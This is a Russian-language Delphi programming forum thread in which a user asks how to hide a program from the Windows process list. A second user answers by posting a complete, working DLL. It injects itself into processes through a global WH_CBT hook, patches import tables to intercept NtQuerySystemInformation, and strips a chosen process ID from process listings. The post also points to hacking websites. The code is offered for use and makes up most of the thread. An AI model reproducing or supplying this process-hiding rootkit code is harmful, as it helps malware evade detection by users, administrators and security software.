Delphi и процессы Windows

Модераторы: Duncon, Naeel Maqsudov, Игорь Акопян, Хыиуду

fikys
Сообщения: 28
Зарегистрирован: 07 май 2005, 18:04
Контактная информация:

Не знаете как сделать что бы программы не было видно в процессах?
drmist
Сообщения: 33
Зарегистрирован: 03 авг 2004, 22:34

Ставь глобальный хук.
fikys
Сообщения: 28
Зарегистрирован: 07 май 2005, 18:04
Контактная информация:

А ты знаешь как его поставить?
drmist
Сообщения: 33
Зарегистрирован: 03 авг 2004, 22:34

Знаю
SetWindowsHookEx()
fikys
Сообщения: 28
Зарегистрирован: 07 май 2005, 18:04
Контактная информация:

Извени за глупый вопрос.Можешь по пдробней о SetWindowsHookEx(). Потому что не мне одному будет интересно.
Аватара пользователя
Naeel Maqsudov
Сообщения: 2570
Зарегистрирован: 20 фев 2004, 19:17
Откуда: Moscow, Russia
Контактная информация:

fikys, если речь зайдет о хуках вцелом, то тема очень объемная....

drmist, :) судя по лаконичности предыдущих ответов Вы, возможно, не захотите написать здесь очень подробное руководство по хукам. Если так, то ссылки на хорошие статьи по этой теме тоже очень приветствуются.
drmist
Сообщения: 33
Зарегистрирован: 03 авг 2004, 22:34

Да я могу и готовый код на Дельфи кинуть, но ведь так будет не интересно, правда, fikys? :)
На самом деле глобальные хуки используются не совсем удобно.
Куда проще организовать перехват NtQuerySystemInfo во всех процессах.
Про перехват API можно узнать на http://www.xakep.ru и http://www.blacklogic.net
fikys
Сообщения: 28
Зарегистрирован: 07 май 2005, 18:04
Контактная информация:

У тебя случайно примерчик не заволялся? А!
drmist
Сообщения: 33
Зарегистрирован: 03 авг 2004, 22:34

Завалялся-завалялся :)
Этот примерчик уже не первый год гуляет по куче форумов, достаточно набрать в поисковике "Delphi скрыть процесс". Я его немного модифицировал, теперь он весит на порядок меньше и более понятен. Надеюсь с ассемблерной вставкой проблем не будет.

Код: Выделить всё

library NThide;

uses Windows,
     ImageHlp,
     TlHelp32;

type TImageImportDescriptor=packed record
                              Characteristics:DWORD;
                              TimeDateStamp:DWORD;
                              ForwarderChain:DWORD;
                              Name:DWORD;
                              FirstThunk:DWORD;
                            end;

PImageImportDescriptor=^TImageImportDescriptor;

type PPointer=^Pointer;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar;// имя dll с функцией

                                  pfnCurrent: Pointer;    // адрес перехватываемой
                                                          // функции

                                  pfnNew: Pointer;        // адрес новой функции

                                  hmodCaller: hModule     // сам модуль
                                  );

var ulSize,written: Cardinal;
    pImportDesc: PImageImportDescriptor;
    pszModName: PChar;
    pThunk: PDWORD;
    ppfn:PPointer;
    ffound: LongBool;
begin
  pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller),
                                          TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,
                                          ulSize);
   if pImportDesc = nil then exit;
   while pImportDesc.Name<>0 do
   begin
     pszModName:=PChar(hmodCaller + pImportDesc.Name);

     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
       break;
     Inc(pImportDesc);
  end;

  if pImportDesc.Name = 0 then
    exit;

  pThunk:=PDWORD(hmodCaller + pImportDesc.FirstThunk);

  while pThunk^<>0 do
  begin
    ppfn := PPointer(pThunk);
    fFound := (ppfn^ = pfnCurrent);

    if (fFound) then
    begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,
                       written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
                         written);
      exit;
    end;
    inc(pThunk);
  end;
end;

var addr_NtQuerySystemInformation: Pointer;
    mypid: DWORD;
    mapaddr: PDWORD;

function myNtQuerySystemInfo(SystemInformationClass, SystemInformation,
                             SystemInformationLength,
                             ReturnLength: DWORD):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push dword ptr SystemInformationClass
  call dword ptr [addr_NtQuerySystemInformation]
  or eax,eax
  jl quit
  cmp SystemInformationClass, 5
  jne quit

onceagain:
  mov esi, SystemInformation

getnextpidstruct:
  mov ebx, esi
  cmp dword ptr [esi],0
  je quit
  add esi, [esi]
  mov ecx, [esi+44h]
  cmp ecx, mypid
  jne getnextpidstruct
  mov edx, [esi]
  test edx, edx
  je fillzero
  add [ebx], edx
  jmp onceagain

fillzero:
  and [ebx], edx
  jmp onceagain

quit:
  mov Result, eax
end;

procedure InterceptFunctions; // перехватить функции
var hSnapShot: Cardinal;
    me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
                                                'NtQuerySystemInformation');

  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

  if hSnapshot=INVALID_HANDLE_VALUE then
    exit;

  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);

  repeat
    ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
                            @MyNtQuerySystemInfo, me32.hModule);
  until not Module32Next(hSnapShot,me32);

  CloseHandle(hSnapShot);
end;

procedure UninterceptFunctions; // снятие перехвата
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
                                               'NtQuerySystemInformation');
  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

  if hSnapshot=INVALID_HANDLE_VALUE then
    exit;

  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);

  repeat
    ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
                            addr_NtQuerySystemInformation, me32.hModule);
  until not Module32Next(hSnapShot,me32);

  CloseHandle(hSnapShot);
end;

var HookHandle: THandle;


function CbtProc(code: integer; wparam: integer;
                 lparam: integer):Integer; stdcall;
begin
  // рвем цепочку хуков
  Result:=0;
end;

procedure InstallHook; stdcall;
begin
  // отлавливаем сообщения о происшедствиях с окнами
  HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD):BOOL; stdcall;
var addrMap: PDWORD;
begin
  mypid:=0;
  result:=false;
  hFirstMapHandle:=CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
                                     'NtHideFileMapping');
  if hFirstMapHandle=0 then
    exit;

  addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);

  if addrMap=nil then
  begin
    CloseHandle(hFirstMapHandle);
    exit;
  end;

  addrMap^:=pid;
  UnmapViewOfFile(addrMap);
  InstallHook; // запрещаем сообщения WH_CBT
  result:=true;
end;

exports HideProcess;

var hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then
    UninterceptFunctions

else
  CloseHandle(hFirstMapHandle);
end;

begin
  hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');

  if hmap=0 then
    exit;

  mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);

  if mapaddr=nil then
    exit;

  mypid:=mapaddr^;
  InterceptFunctions;
  UnmapViewOfFile(mapaddr);
  CloseHandle(Hmap);
  DLLProc:=@LibraryProc;
end.
fikys
Сообщения: 28
Зарегистрирован: 07 май 2005, 18:04
Контактная информация:

Как сослаться на DLL? помоги
Ответить